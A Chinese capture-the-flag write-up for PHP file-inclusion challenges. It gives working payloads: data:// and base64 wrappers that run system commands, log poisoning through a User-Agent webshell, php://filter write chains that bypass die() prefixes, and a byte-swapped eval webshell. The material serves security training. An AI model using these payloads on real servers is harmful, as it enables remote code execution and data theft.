web78
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}
?file=data://text/plain,<?php system("cat flag.php");?>
data://伪协议
这里的text/plain表示的是文本
也可以data://text/plain;base64,若纯文字没用可用[base64编码]
这是一个输入流执行的协议,它可以向服务器输入数据,而服务器也会执行。
可以参考:CTF常用伪协议总结_Asionm的博客-CSDN博客
web79
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
这里把php与???做了替换所以上一题的第一种方法就不行了
所以我们用base64编码绕过
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==
web80
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
这题直接把data给替换掉了
所以我们不用伪协议
这里可以进行日志包含
通过User-Agent头部注入一句话木马命令:
然后将日志包含进去,并通过POST参数执行命令:
?flie=/var/log/nginx/access.log
找到包含flag日志
a=system('cat fl0g.php');
拿到flag
web81
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
这题与上一题方法一样
web87
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
}else{
highlight_file(__FILE__);
}
这题用php://filter/read=convert.base64-encode/resource=x.php伪协议绕过
?file=php://filter/write=convert.base64-decode/resource=flag.php
url二次编码
%25%37%30%25%36%38%25%37%30%25%33%41%25%32%46%25%32%46%25%36%36%25%36%39%25%36%43%25%37%34%25%36%35%25%37%32%25%32%46%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%44%25%36%33%25%36%46%25%36%45%25%37%36%25%36%35%25%37%32%25%37%34%25%32%45%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%44%25%36%34%25%36%35%25%36%33%25%36%46%25%36%34%25%36%35%25%32%46%25%37%32%25%36%35%25%37%33%25%36%46%25%37%35%25%37%32%25%36%33%25%36%35%25%33%44%25%36%36%25%36%43%25%36%31%25%36%37%25%32%45%25%37%30%25%36%38%25%37%30
content=<?php system('tac f*.php');?>
base64编码(前面补两个a)
content=aaPD9waHAgc3lzdGVtKCd0YWMgZioucGhwJyk7Pz4=
然后访问flag.php即可
web88
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);
}
直接使用伪协议
?file=data://text/plain;base64,<?php system('tac *.php');?>
对<?php system('tac *.php');?>进行base64编码
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTs/Pg==
但这里对=过滤了
所以在<?php system('tac *.php');?>后面加两个a
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTs/PmFh
拿到flag
web116
web117
highlight_file(__FILE__);
error_reporting(0);
function filter($x){
if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
die('too young too simple sometimes naive!');
}
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);
这里过滤了base64和rot13
?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
post:contents=?<hp pvela$(P_SO[T]1;)>?
访问a.php